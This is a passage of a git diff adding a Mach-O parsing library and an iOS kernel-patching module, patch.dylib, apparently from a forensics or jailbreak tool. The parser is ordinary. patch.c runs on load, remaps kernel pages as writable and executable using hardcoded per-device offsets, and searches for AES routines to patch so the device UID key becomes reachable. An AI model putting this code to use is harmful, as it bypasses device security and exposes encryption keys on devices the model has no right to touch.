nl->n_un.n_name) == 0) { + return nl->n_value; + } + } + } + } + return 0; +} + +macho_segment_t* macho_get_segment(macho_t* macho, const char* segment) { + int i = 0; + for (i = 0; i < macho->segment_count; i++) { + macho_segment_t* seg = macho->segments[i]; + if(seg) { + debug("Found segment %s\n", seg->name); + if (strcmp(seg->name, segment) == 0) { + return seg; + } + } else { + debug("Invalid segment!!\n"); + } + } + return NULL; +} + +macho_section_t* macho_get_section(macho_t* macho, const char* segment, + const char* section) { + int i = 0; + macho_section_t* sect = NULL; + macho_segment_t* seg = macho_get_segment(macho, segment); + if (seg) { + for (i = 0; i < seg->section_count; i++) { + sect = seg->sections[i]; + if(sect && sect->name) { + if (strcmp(sect->name, section) == 0) { + return sect; + } + } + } + } + return NULL; +} + +void macho_list_symbols(macho_t* macho, + void (*print_func)(const char*, uint32_t, void*), void* userdata) { + int i = 0; + int j = 0; + nlist* nl = NULL; + macho_symtab_t* symtab = NULL; + for (i = 0; i < macho->symtab_count; i++) { + symtab = macho->symtabs[i]; + for (j = 0; j < symtab->nsyms; j++) { + nl = &symtab->symbols[j]; + if ((nl->n_un.n_name != NULL) && (nl->n_value != 0)) { + print_func(nl->n_un.n_name, nl->n_value, userdata); + } + } + } +} + +void macho_debug(macho_t* macho) { + if (macho) { + debug("Mach-O:\n"); + if (macho) { + macho_header_debug(macho); + macho_commands_debug(macho); + macho_segments_debug(macho); + //macho_symtabs_debug(macho); + } + debug("\n"); + } +} + +void macho_free(macho_t* macho) { + if (macho) { + if (macho->header) { + macho_header_free(macho->header); + macho->header = NULL; + } + if (macho->commands) { + macho_commands_free(macho->commands); + macho->commands = NULL; + } + + if (macho->segments) { + macho_segments_free(macho->segments); + macho->segments = NULL; + } + if (macho->symtabs) { + macho_symtabs_free(macho->symtabs); + macho->symtabs = NULL; + } + + if (macho->data) { + macho->size = 0; + macho->offset = 0; + macho->data = NULL; + } + + free(macho); + } +} + +/* + * Mach-O Header Functions + */ +macho_header_t* macho_header_create() { + macho_header_t* header = (macho_header_t*) malloc(sizeof(macho_header_t)); + if (header) { + memset(header, '\0', sizeof(macho_header_t)); + } + return header; +} + +macho_header_t* macho_header_load(macho_t* macho) { + uint32_t size = 0; + uint32_t offset = 0; + unsigned char* data = NULL; + macho_header_t* header = NULL; + if (macho) { + offset = 0; + data = macho->data; + size = macho->size; + header = macho_header_create(); + if (header) { + memcpy(header, &data[offset], sizeof(macho_header_t)); + if (header->magic != MACHO_MAGIC_32) { + error("Unknown filetype\n"); + return NULL; + } + } + } + return header; +} + +void macho_header_debug(macho_t* macho) { + macho_header_t* header = NULL; + + header = macho->header; + if (header) { + debug("\tHeader:\n"); + debug("\t\t magic = 0x%08x\n", header->magic); + debug("\t\t cputype = 0x%08x\n", header->cputype); + debug("\t\tcpusubtype = 0x%08x\n", header->cpusubtype); + debug("\t\t filetype = 0x%08x\n", header->filetype); + debug("\t\t ncmds = 0x%08x\n", header->ncmds); + debug("\t\tsizeofcmds = 0x%08x\n", header->sizeofcmds); + debug("\t\t flags = 0x%08x\n", header->flags); + debug("\t\n"); + } +} + +void macho_header_free(macho_header_t* header) { + if (header) { + free(header); + } +} + +int macho_handle_command(macho_t* macho, macho_command_t* command) { + int ret = 0; + if (macho) { + // If load command is a segment command, then load a segment + // if a symbol table, then load a symbol table... etc... + switch (command->info->cmd) { + case MACHO_CMD_SEGMENT: // segment of this file to be mapped + { + debug("Found segment command\n"); + macho_segment_t* seg = macho_segment_load(macho->data, + command->offset); + if (seg) { + macho->segments[macho->segment_count] = seg; + debug("Segment has %d sections\n", seg->section_count); + + macho->segment_count++; + } else { + error("Could not load segment at offset 0x%x\n", + command->offset); + } + } + break; + case MACHO_CMD_SYMTAB: // link-edit stab symbol table info + { + debug("Found symtab command\n"); + macho_symtab_t* symtab = macho_symtab_load( + macho->data + command->offset, macho->data); + if (symtab) { + macho->symtabs[macho->symtab_count++] = symtab; + } else { + error("Could not load symtab at offset 0x%x\n", + command->offset); + } + } + break; + default: + ret = -1; + break; + } + } + return ret; +} + +/* + * Mach-O Commands Functions + */ +macho_command_t** macho_commands_create(uint32_t count) { + // TODO: Check for integer overflow here + uint32_t size = (count + 1) * sizeof(macho_command_t*); + macho_command_t** commands = (macho_command_t**) malloc(size); + if (commands) { + memset(commands, '\0', size); + } + return commands; +} + +macho_command_t** macho_commands_load(macho_t* macho) { + int i = 0; + uint32_t count = 0; + macho_command_t** commands = NULL; + if (macho) { + count = macho->command_count; + debug("Creating Mach-O commands array\n"); + commands = macho_commands_create(count); + if (commands == NULL) { + error("Unable to create Mach-O commands array\n"); + return NULL; + } + + debug("Loading Mach-O commands array\n"); + for (i = 0; i < count; i++) { + debug("Loading Mach-O command %d from offset 0x%x\n", i, macho->offset); + commands[i] = macho_command_load(macho->data, macho->offset); + if (commands[i] == NULL) { + error("Unable to parse Mach-O load command\n"); + macho_commands_free(commands); + return NULL; + } + macho->offset += commands[i]->size; + } + } + return commands; +} + +void macho_commands_debug(macho_t* macho) { + int i = 0; + macho_command_t* command = NULL; + macho_command_t** commands = NULL; + + commands = macho->commands; + if (commands) { + debug("\tCommands:\n"); + for(i = 0; i < macho->command_count; i++) { + command = commands[i]; + if(command) { + macho_command_debug(command); + } + }debug("\t\n"); + } +} + +void macho_commands_free(macho_command_t** commands) { + int i = 0; + if (commands) { + while (commands[i] != NULL) { + macho_command_free(commands[i]); + commands[i] = NULL; + i++; + } + free(commands); + } +} + +/* + * Mach-O Segments Functions + */ +macho_segment_t** macho_segments_create(uint32_t count) { + if (count == 0) + return NULL; + // TODO: Check for integer overflow here + int size = (count + 1) * sizeof(macho_segment_t*); + macho_segment_t** segments = (macho_segment_t**) malloc(size); + if (segments) { + memset(segments, '\0', size); + } + return segments; +} + +macho_segment_t** macho_segments_load(macho_t* macho) { + int i = 0; + int j = 0; + uint32_t count = 0; + uint32_t offset = 0; + macho_segment_t* segment = NULL; + macho_segment_t** segments = NULL; + if (macho) { + debug("Searching for segment commands\n"); + for (i = 0; i < macho->command_count; i++) { + if (macho->commands[i]->cmd == MACHO_CMD_SEGMENT) { + count++; + } + } debug("Found %d segment commands\n", count); + macho->segment_count = count; + + + debug("Creating Mach-O segments array\n"); + segments = macho_segments_create(count); + if (segments == NULL) { + error("Unable to create Mach-O segment array\n"); + return NULL; + } + + debug("Loading Mach-O segments\n"); + for (i = 0; i < macho->command_count; i++) { + if (macho->commands[i]->cmd == MACHO_CMD_SEGMENT) { + macho_command_t* command = macho->commands[i]; + segment = macho_segment_load(macho->data, command->offset); + if(segment == NULL) { + error("Unable to load Mach-O segment\n"); + return NULL; + } + debug("Loaded in segment %s\n", segment->name); + segments[j++] = segment; + + macho_section_t* section = NULL; + macho_section_t** sections = NULL; + segment->sections = macho_sections_load(macho, segment); + offset = command->offset + sizeof(macho_segment_cmd_t); + } + } + } + + return segments; +} + +void macho_segments_debug(macho_t* macho) { + int i = 0; + macho_segment_t* segment = NULL; + macho_segment_t** segments = NULL; + + if(macho) { + segments = macho->segments; + if(segments) { + debug("\tSegments:\n"); + for(i = 0; i < macho->segment_count; i++) { + segment = segments[i]; + if(segment) { + macho_segment_debug(segment); + } + }debug("\n"); + } + } +} + +void macho_segments_free(macho_segment_t** segments) { + if (segments) { + int i = 0; + while (segments[i]) { + macho_segment_free(segments[i]); + i++; + } + free(segments); + } +} + +/* + * Mach-O Symtab Functions + */ +macho_symtab_t** macho_symtabs_create(uint32_t count) { + if (count == 0) + return NULL; + int size = (count + 1) * sizeof(macho_symtab_t*); + macho_symtab_t** symtabs = (macho_symtab_t**) malloc(size); + if (symtabs) { + memset(symtabs, '\0', size); + } + return symtabs; +} + +macho_symtab_t** macho_symtabs_load(macho_t* macho) { + int i = 0; + uint32_t count = 0; + uint32_t offset = 0; + macho_symtab_t* symtab = NULL; + macho_symtab_t** symtabs = NULL; + if (macho) { + debug("Searching for symtab commands\n"); + for (i = 0; i < macho->command_count; i++) { + if (macho->commands[i]->cmd == MACHO_CMD_SYMTAB) { + count++; + } + } debug("Found %d symtab commands\n", count); + macho->symtab_count = count; + + debug("Creating Mach-O symtabs array\n"); + symtabs = macho_symtabs_create(count); + if (symtabs == NULL) { + error("Unable to create Mach-O symtab array\n"); + return NULL; + } + + debug("Loading Mach-O symtabs\n"); + for (i = 0; i < macho->command_count; i++) { + if (macho->commands[i]->cmd == MACHO_CMD_SYMTAB) { + offset = macho->commands[i]->offset; + symtab = macho_symtab_load(macho->data, offset); + if(symtab == NULL) { + error("Unable to load Mach-O symtab\n"); + return NULL; + } + symtabs[i] = symtab; + } + } + } + + return symtabs; +} + +void macho_symtabs_debug(macho_t* macho) { + int i = 0; + macho_symtab_t* symtab = NULL; + macho_symtab_t** symtabs = NULL; + + if(macho) { + if(macho->symtabs) { + symtabs = macho->symtabs; + debug("\tSymtabs:\n"); + for(i = 0; i < macho->symtab_count; i++) { + symtab = macho->symtabs[i]; + macho_symtab_debug(symtab); + symtab = NULL; + } + debug("\n"); + } + } +} + +void macho_symtabs_free(macho_symtab_t** symtabs) { + if (symtabs) { + int i = 0; + while (symtabs[i]) { + macho_symtab_free(symtabs[i]); + i++; + } + free(symtabs); + } +} + +/* + * Mach-O Sections Functions + */ +macho_section_t** macho_sections_create(uint32_t count) { + // TODO: Check for integer overflow here + unsigned int size = (count + 1) * sizeof(macho_section_t*); + macho_section_t** sections = (macho_section_t**) malloc(size); + if (sections) { + memset(sections, '\0', size); + } + return sections; +} + +macho_section_t** macho_sections_load(macho_t* macho, macho_segment_t* segment) { + int i = 0; + uint32_t offset = 0; + macho_section_t* section = NULL; + macho_section_t** sections = NULL; + + if (macho && segment) { + debug("Creating section array for segment\n"); + sections = macho_sections_create(segment->section_count); + if (sections == NULL) { + error("Unable to create section array for segment\n"); + return NULL; + } + + offset = segment->offset + sizeof(macho_segment_cmd_t); + for (i = 0; i < segment->section_count; i++) { + debug("Loading section %d\n", i); + sections[i] = macho_section_load(macho->data, offset); + offset += sizeof(macho_section_info_t); + } + } + return sections; +} + +void macho_sections_debug(macho_section_t** sections) { + debug("\tSections:\n");debug("\t\n"); +} + +void macho_sections_free(macho_section_t** sections) { + // TODO: Loop through and free each item + if (sections) { + free(sections); + } +} diff --git a/patch/patch/macho.h b/patch/patch/macho.h new file mode 100644 index 0000000..e769e85 --- /dev/null +++ b/patch/patch/macho.h @@ -0,0 +1,113 @@ +/** + * libmacho-1.0 - macho.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_H_ +#define MACHO_H_ + +#include "debug.h" +#include "symtab.h" +#include "segment.h" +#include "section.h" +#include "command.h" + +#define MACHO_MAGIC_32 0xFEEDFACE +#define MACHO_MAGIC_64 0xFEEDFACF +#define MACHO_MAGIC_FAT 0xCAFEBABE + +typedef struct macho_header_t { + uint32_t magic; + uint32_t cputype; + uint32_t cpusubtype; + uint32_t filetype; + uint32_t ncmds; + uint32_t sizeofcmds; + uint32_t flags; +} macho_header_t; + +typedef struct macho_t { + uint8_t* data; + uint32_t size; + uint32_t offset; + uint32_t command_count; + uint32_t segment_count; + uint32_t symtab_count; + macho_header_t* header; + macho_symtab_t** symtabs; + macho_command_t** commands; + macho_segment_t** segments; +} macho_t; + +/* + * Mach-O Functions + */ +macho_t* macho_create(); +macho_t* macho_open(const char* path); +macho_t* macho_load(unsigned char* data, uint32_t size); +void macho_debug(macho_t* macho); +void macho_free(macho_t* macho); + +uint32_t macho_lookup(macho_t* macho, const char* sym); +macho_segment_t* macho_get_segment(macho_t* macho, const char* segment); +macho_section_t* macho_get_section(macho_t* macho, const char* segment, const char* section); +void macho_list_symbols(macho_t* macho, void (*print_func)(const char*, uint32_t, void*), void* userdata); + + +int macho_handle_command(macho_t* macho, macho_command_t* command); + +/* + * Mach-O Header Functions + */ +macho_header_t* macho_header_create(); +macho_header_t* macho_header_load(macho_t* macho); +void macho_header_debug(macho_t* macho); +void macho_header_free(macho_header_t* header); + +/* + * Mach-O Commands Functions + */ +macho_command_t** macho_commands_create(uint32_t count); +macho_command_t** macho_commands_load(macho_t* macho); +void macho_commands_debug(macho_t* macho); +void macho_commands_free(macho_command_t** commands); + +/* + * Mach-O Segments Functions + */ +macho_segment_t** macho_segments_create(uint32_t count); +macho_segment_t** macho_segments_load(macho_t* macho); +void macho_segments_debug(macho_t* macho); +void macho_segments_free(macho_segment_t** segments); + +/* + * Mach-O Symtab Functions + */ +macho_symtab_t** macho_symtabs_create(uint32_t count); +macho_symtab_t** macho_symtabs_load(macho_t* macho); +void macho_symtabs_debug(macho_t* macho); +void macho_symtabs_free(macho_symtab_t** symtabs); + +/* + * Mach-O Sections Functions + */ +macho_section_t** macho_sections_create(uint32_t count); +macho_section_t** macho_sections_load(macho_t* macho, macho_segment_t* segment); +void macho_sections_debug(macho_section_t** sections); +void macho_sections_free(macho_section_t** sections); + +#endif /* MACHO_H_ */ diff --git a/patch/patch/pangwho.c b/patch/patch/pangwho.c new file mode 100644 index 0000000..d979885 --- /dev/null +++ b/patch/patch/pangwho.c @@ -0,0 +1,9 @@ +// +// pangwho.c +// patch +// +// Created by Joshua Hill on 7/1/15. +// +// + +#include "pangwho.h" diff --git a/patch/patch/pangwho.h b/patch/patch/pangwho.h new file mode 100644 index 0000000..8c2cd67 --- /dev/null +++ b/patch/patch/pangwho.h @@ -0,0 +1,14 @@ +// +// pangwho.h +// patch +// +// Created by Joshua Hill on 7/1/15. +// +// + +#ifndef __patch__pangwho__ +#define __patch__pangwho__ + +#include + +#endif /* defined(__patch__pangwho__) */ diff --git a/patch/patch/patch.c b/patch/patch/patch.c new file mode 100644 index 0000000..a5d6d70 --- /dev/null +++ b/patch/patch/patch.c @@ -0,0 +1,322 @@ +// +// patch.c +// com.sudo-sec.chop.patch +// +// Created by Joshua Hill on 1/16/14. +// Copyright (c) 2014 Sudo Security Group. All rights reserved. + +#include +#include +#include +#include +#include +#include +#include + +#include "avio.h" +#include "find.h" +#include "patch.h" +#include "kernel.h" +#include "devtree.h" +#include "m1n0rthreat.h" + +void patch_enter(void) __attribute__((constructor)); +void patch_leave(void) __attribute__((destructor)); + +/* About: + * This module in SudoChop is responsiable for exploiting and patching the kernel to allow + * to allow access to devices UID for AES encryption/decryption and access to effaceable storage + * + * Architecture: + * This uses a basic "whiteboard" architecture style. The kernel object is the whiteboard object. + * Each "expert" knows about the interface needed for the kernel object and can add, remove, or change + * functions and data to the kernel object. + * + */ + +void x_patch_enter() { + syslog(LOG_ERR, "++[PATCH]++ Entering patch.dylib"); + + syslog(LOG_ERR, "++[PATCH]++ Opening reference kernel to object"); + kernel_t* kernel = kernel_open(); + if(kernel) { + + + syslog(LOG_ERR, "++[PATCH]++ Closing reference to kernel object"); + kernel_close(kernel); + + } else { + syslog(LOG_ERR, "++[PATCH]++ Unable to open kernel object"); + } + + syslog(LOG_ERR, "++[PATCH]++ Exiting patch.dylib"); + exit(0); +} + +void patch_enter() { + syslog(LOG_ERR, "++[PATCH]++ Entering patch.dylib"); + + syslog(LOG_ERR, "++[PATCH]++ Opening reference kernel to object"); + kernel_t* kernel = kernel_open(); + if(kernel) { + // Let's do this shit!! + vm_address_t bootargs = devtree_get_bootargs(kernel); + syslog(LOG_ERR, "++[PATCH]++ Found boot-args at 0x%08lx", bootargs); + + vm_address_t pagemap = 0; + vm_address_t kernbase = 0; + if(kernel->task) { + kernbase = kernel->base; + if(kernbase) { + syslog(LOG_ERR, "++[PATCH]++ Found kernbase at 0x%08lx", kernbase); + } + pagemap = kernel->get(find_tlb(kernel)); + if(pagemap) { + syslog(LOG_ERR, "++[PATCH]++ Found pagemap at 0x%08lx", pagemap); + } + //m1n0rthreat_init(kernbase); + + } else { + // iPhone4s 6.1.3 = 0xDBB000 + //kernbase = bootargs - 0xDBB000; + // iPhone5 7.0.6 + //kernbase = bootargs - 0xF0D000; + // iPhone5 7.0.4 + kernbase = bootargs - 0xF0E000; + // Test Offset + //kernbase = 0x0; + syslog(LOG_ERR, "++[PATCH]++ I think kernbase should be at 0x%08lx", kernbase); + + // iPhone4s 6.1.3 = 0x8000 + //pagemap = bootargs + 0x8000; // PAGEMAP_OFFSET + // iPhone5 7.0.6 + //pagemap = bootargs + 0x6000; // PAGEMAP_OFFSET + // iPhone5 7.0.4 + pagemap = bootargs + 0x6000; + // Test Offset + //pagemap = bootargs = 0x0; + syslog(LOG_ERR, "++[PATCH]++ I think the page mappings should be at 0x%08lx", pagemap); + + //m1n0rthreat_init(kernbase); // BOOTARG_OFFSET + //printuuid(); + //m1n0rthreat_kernel_write(kernbase+KERN_UUID, "p0sixninja\0", sizeof("p0sixninja")+1); + //printuuid(); + //exit(1); + } + + unsigned int ttb[] = { + 0x80010C02, + 0x80110C02, + 0x80210C02, + 0x80310C02, + 0x80410C02, + 0x80510C02, + 0x80610C02, + 0x80710C02, + 0x80810C02, + 0x80910C02, + 0x80A10C02, + 0x80B10C02, + 0x80C10C02, + 0x80D10C02, + 0x80E10C02, + 0x80F10C02, + }; + + unsigned int* feedface = (unsigned int*)(SHADOWMAP_BEGIN+0x1000); + //m1n0rthreat_kernel_write(pagemap+TTB_OFFSET(SHADOWMAP_BEGIN), ttb, sizeof(ttb)); + //avio_kernel_write(pagemap+TTB_OFFSET(SHADOWMAP_BEGIN), ttb, sizeof(ttb)); + avio_kernel_set(pagemap+TTB_OFFSET(SHADOWMAP_BEGIN), ttb[0]); + + + syslog(LOG_ERR, "++[PATCH]++ Kernel should be remapped as RWX 0x%08x", SHADOWMAP_BEGIN); + + uint8_t* kmem = SHADOWMAP_BEGIN; + syslog(LOG_ERR, "++[PATCH]++ Please be 0xFEEDFACE.... 0x%08x", *feedface); + if(*feedface == 0xfeedface) { + syslog(LOG_ERR, "++[PATCH]++ Success!! Now let's find those patches"); + + uint32_t iolog = find_IOLog(kernbase, SHADOWMAP_BEGIN, SHADOWMAP_SIZE_BYTES); + if(iolog) { + syslog(LOG_ERR, "Found IOLog at 0x%08x", iolog); + } + + uint32_t aes = find_aes(kernbase, SHADOWMAP_BEGIN, SHADOWMAP_SIZE_BYTES); + if(aes) { + syslog(LOG_ERR, "Found AES at 0x%08x", aes); + //*((unsigned int*)&kmem[aes]) = 0x0; + } + + //uint32_t dbg1 = find_i_can_has_debugger_1(kernbase, SHADOWMAP_BEGIN, SHADOWMAP_SIZE_BYTES); + //if(dbg1) { + // syslog(LOG_ERR, "Found DBG1 at 0x%08x", dbg1); + // *((unsigned char*)&kmem[dbg1]) = 0x1; + // kmem[dbg1] = 0x1; + //} + + //uint32_t dbg2 = find_i_can_has_debugger_2(kernbase, SHADOWMAP_BEGIN, SHADOWMAP_SIZE_BYTES); + //if(dbg2) { + // syslog(LOG_ERR, "Found DBG2 at 0x%08x", dbg2); + // //*((unsigned char*)&kmem[dbg2]) = 0x1; + // kmem[dbg2] = 0x1; + //} + + } else { + syslog(LOG_ERR, "++[PATCH]++ Fail... Check offsets again..."); + } + + + syslog(LOG_ERR, "++[PATCH]++ Closing reference to kernel object"); + kernel_close(kernel); + + } else { + syslog(LOG_ERR, "++[PATCH]++ Unable to open kernel object"); + } + + syslog(LOG_ERR, "++[PATCH]++ Exiting patch.dylib"); + exit(0); +} + + +/* +void patch_enter() { + syslog(LOG_ERR, "++[PATCH]++ Entering patch.dylib"); + + syslog(LOG_ERR, "++[PATCH]++ Opening reference kernel to object"); + kernel_t* kernel = kernel_open(); + if(kernel) { + // Should all this be rolled into the kernel object, seems silly to worry about it here + syslog(LOG_ERR, "++[PATCH]++ Kernel object created successfully"); + if(kernel->task == 0) { + + // No tfp0 patch, let's patch it + syslog(LOG_ERR, "++[PATCH]++ No tfp0 patch found, attempting to find it"); + vm_address_t tfp_addr = 0;//find_tfp(kernel); + if(tfp_addr) { + syslog(LOG_ERR, "++[PATCH]++ Found tfp0 patch at 0x%lx", tfp_addr); + syslog(LOG_ERR, "++[PATCH]++ Patching the kernel page containing tfp0 function"); + patch_tlb(kernel, tfp_addr); + // TODO: Need a way to flush this!!! + patch_tfp(kernel); + // TODO: Check return value? + syslog(LOG_ERR, "++[PATCH]++ tfp0 patch should now be applied at %lx", tfp_addr); + + } else { + syslog(LOG_ERR, "++[PATCH]++ Unable to locate tfp0 patch"); + kernel_close(kernel); + // Could we continue with just the kernel exploit? + return; + } + + // Re-open kernel so we're using tfp0 now + syslog(LOG_ERR, "++[PATCH]++ Re-opening kernel object to use tfp0 now"); + kernel_close(kernel); + kernel = kernel_open(); + if(kernel) { + if(kernel->task == 0) { + // If we still failed then we didn't patch tfp0 successfully (or it didn't flush) + syslog(LOG_ERR, "++[PATCH]++ Error patching tfp0 or need to flush cache"); + // Could we continue with just the kernel exploit? + kernel_close(kernel); + return; + + } else { + syslog(LOG_ERR, "++[PATCH]++ tfp0 successfully patched"); + } + } + + } else { + // Looks like tfp0 was already patched + syslog(LOG_ERR, "++[PATCH]++ tfp0 was already patched is this device jailbroken?"); + } + + patch_aes(kernel); + + // TODO: Check to make sure these succeessful + // Flush + //patch_dbg(kernel); + // Flush + + kernel_close(kernel); + } else { + syslog(LOG_ERR, "++[PATCH]++ Unable to open kernel object"); + } + + exit(0); +} +*/ + +void patch_leave() { + syslog(LOG_ERR, "++[PATCH]++ Leaving patch.dylib"); +} + +int patch_tfp(kernel_t* kernel) { + return 0; +} + +/* +int patch_aes(kernel_t* kernel) { + vm_address_t aes_addr = find_aes(kernel); + if(aes_addr) { + syslog(LOG_ERR, "Found AES patch address at 0x%lx", aes_addr); + + // Make sure this kernel page is set RWX + patch_tlb(kernel, aes_addr); + + // We just NOP out this branch after the check + kernel->set(aes_addr, 0x0); + + } else { + syslog(LOG_ERR, "Unable to find AES patch address"); + return -1; + } + return 0; +} + */ + +int patch_dbg(kernel_t* kernel) { + return 0; +} + +int patch_iof(kernel_t* kernel) { + return 0; +} + +int patch_tlb(kernel_t* kernel, vm_address_t target) { + syslog(LOG_ERR, "Pwning TLB!!!"); + if(kernel->pmap == 0) { + kernel->pmap = find_tlb(kernel); + } + + vm_address_t base = kernel->base; + vm_address_t addr = kernel->pmap; + vm_address_t ttb_virt = kernel->get(addr); + vm_address_t ttb_phys = kernel->get(addr + sizeof(vm_address_t)); + syslog(LOG_ERR, "kernel_pmap->ttb_virt *0x%08x = 0x%08x\n", addr, ttb_virt); + syslog(LOG_ERR, "kernel_pmap->ttb_phys *0x%08x = 0x%08x\n", addr + sizeof(vm_address_t), ttb_phys); + + vm_address_t start = ADDR_TO_TTE(ttb_virt, target); + vm_address_t desc = kernel->get(start); + + syslog(LOG_ERR, "offset page map (L1): *0x%08x = 0x%08x\n", start, desc); + + // get the page table + vm_address_t pte = (desc & 0xfffffc00); // physical + pte -= ttb_phys & 0xF0000000; // physBase + pte += base - 0x1000; + + // Virt offset + pte += PTE_OFFSET(target); + desc = kernel->get(pte); + + // Or bits. + syslog(LOG_ERR, "offset page map (L2): *0x%08x = 0x%08x\n", pte, desc); + desc &= ~(1 << 9); // APX-bit; + desc |= (1 << 5); // AP bit + desc |= (1 << 4); // AP-bit + syslog(LOG_ERR, "offset page map (L2): *0x%08x = 0x%08x\n", pte, desc); + + kernel->set(pte, desc); + + return 0; +} diff --git a/patch/patch/patch.h b/patch/patch/patch.h new file mode 100644 index 0000000..ac48d93 --- /dev/null +++ b/patch/patch/patch.h @@ -0,0 +1,26 @@ +// +// patch.h +// patch +// +// Created by Joshua Hill on 1/18/14. +// +// + +#ifndef patch_patch_h +#define patch_patch_h + +#include + +#include "kernel.h" + +#define TTE_OFFSET(ADDR) (((ADDR >> 0x14) & 0xfff) << 2) +#define ADDR_TO_TTE(BASE, ADDR) (BASE + TTE_OFFSET(ADDR)) +#define PTE_OFFSET(ADDR) (((ADDR & ~(0xfff00000)) >> 12) << 2) + +int patch_tfp(kernel_t* kernel); +int patch_aes(kernel_t* kernel); +int patch_dbg(kernel_t* kernel); +int patch_iof(kernel_t* kernel); +int patch_tlb(kernel_t* kernel, vm_address_t address); + +#endif diff --git a/patch/patch/pmap.c b/patch/patch/pmap.c new file mode 100644 index 0000000..1ba59bb --- /dev/null +++ b/patch/patch/pmap.c @@ -0,0 +1,28 @@ +// +// pmap.c +// patch +// +// Created by Joshua Hill on 3/27/14. +// +// + +#include +#include + +#include "pmap.h" + +vm_address_t pmap_kernel_get(vm_address_t address) { + return NULL; +} + +void pmap_kernel_set(vm_address_t address, void* value) { + +} + +vm_size_t pmap_kernel_read(vm_address_t addr, void* buffer, vm_size_t size) { + return 0; +} + +vm_size_t pmap_kernel_write(vm_address_t addr, void* buffer, vm_size_t size) { + return 0; +} \ No newline at end of file diff --git a/patch/patch/pmap.h b/patch/patch/pmap.h new file mode 100644 index 0000000..818627c --- /dev/null +++ b/patch/patch/pmap.h @@ -0,0 +1,19 @@ +// +// pmap.h +// patch +// +// Created by Joshua Hill on 3/27/14. +// +// + +#ifndef patch_pmap_h +#define patch_pmap_h + +#include + +vm_address_t pmap_kernel_get(vm_address_t address); +void pmap_kernel_set(vm_address_t address, void* value); +vm_size_t pmap_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t pmap_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +#endif diff --git a/patch/patch/section.c b/patch/patch/section.c new file mode 100644 index 0000000..f9c77e3 --- /dev/null +++ b/patch/patch/section.c @@ -0,0 +1,114 @@ +/** + * libmacho-1.0 - section.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include + +//#define _DEBUG +#include "debug.h" +#include "section.h" + +macho_section_t* macho_section_create(void); +macho_section_info_t* macho_section_info_create(void); + +/* + * Mach-O Segment Functions + */ +macho_section_t* macho_section_create() { + macho_section_t* section = (macho_section_t*) malloc(sizeof(macho_section_t)); + if(section) { + memset(section, '\0', sizeof(macho_section_t)); + } + return section; +} + +macho_section_t* macho_section_load(unsigned char* data, uint32_t offset) { + macho_section_t* section = NULL; + if(data) { + debug("Creating Mach-O Section\n"); + section = macho_section_create(); + if(section) { + debug("Loading Mach-O Section\n"); + section->info = macho_section_info_load(data, offset); + if(section->info) { + section->name = strdup(section->info->sectname); + debug("Section %s Loaded\n", section->name); + } + } + } + return section; +} + +void macho_section_debug(macho_section_t* section) { + if(section && section->info) { + macho_section_info_debug(section->info); + } + +} + +void macho_section_free(macho_section_t* section) { + +} + +/* + * Mach-O Segment Info Functions + */ +macho_section_info_t* macho_section_info_create() { + macho_section_info_t* info = malloc(sizeof(macho_section_info_t)); + if(info) { + memset(info, '\0', sizeof(macho_section_info_t)); + } + return info; +} + +macho_section_info_t* macho_section_info_load(unsigned char* data, uint32_t offset) { + macho_section_info_t* info = macho_section_info_create(); + if(info) { + memcpy(info, &data[offset], sizeof(macho_section_info_t)); + //macho_section_info_debug(info); + } + return info; +} + +void macho_section_info_debug(macho_section_info_t* info) { + debug("\t\tSection:\n"); + debug("\t\t\tSectName: %s\n", info->sectname); + //char sectname[16]; /* name of this section */ + debug("\t\t\tSegName: %s\n", info->segname); + //char segname[16]; /* segment this section goes in */ + debug("\t\t\tAddress: 0x%x\n", info->addr); + //uint32_t addr; /* memory address of this section */ + debug("\t\t\tSize: 0x%x\n", info->size); + //uint32_t size; /* size in bytes of this section */ + debug("\t\t\tOffset: 0x%x\n", info->offset); + //uint32_t offset; /* file offset of this section */ + debug("\t\t\tAlign: 0x%x\n", info->align); + //uint32_t align; /* section alignment (power of 2) */ + debug("\t\t\tRelOff: 0x%x\n", info->reloff); + //uint32_t reloff; /* file offset of relocation entries */ + debug("\t\t\tnreloc: 0x%x\n", info->nreloc); + //uint32_t nreloc; /* number of relocation entries */ + debug("\t\t\tflags: 0x%x\n\n", info->flags); + //uint32_t flags; /* flags (section type and attributes)*/ +} + +void macho_section_info_free(macho_section_info_t* info) { + +} diff --git a/patch/patch/section.h b/patch/patch/section.h new file mode 100644 index 0000000..1386b81 --- /dev/null +++ b/patch/patch/section.h @@ -0,0 +1,58 @@ +/** + * libmacho-1.0 - section.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_SECTION_H_ +#define MACHO_SECTION_H_ + +typedef struct macho_section_info_t { + char sectname[16]; /* name of this section */ + char segname[16]; /* segment this section goes in */ + uint32_t addr; /* memory address of this section */ + uint32_t size; /* size in bytes of this section */ + uint32_t offset; /* file offset of this section */ + uint32_t align; /* section alignment (power of 2) */ + uint32_t reloff; /* file offset of relocation entries */ + uint32_t 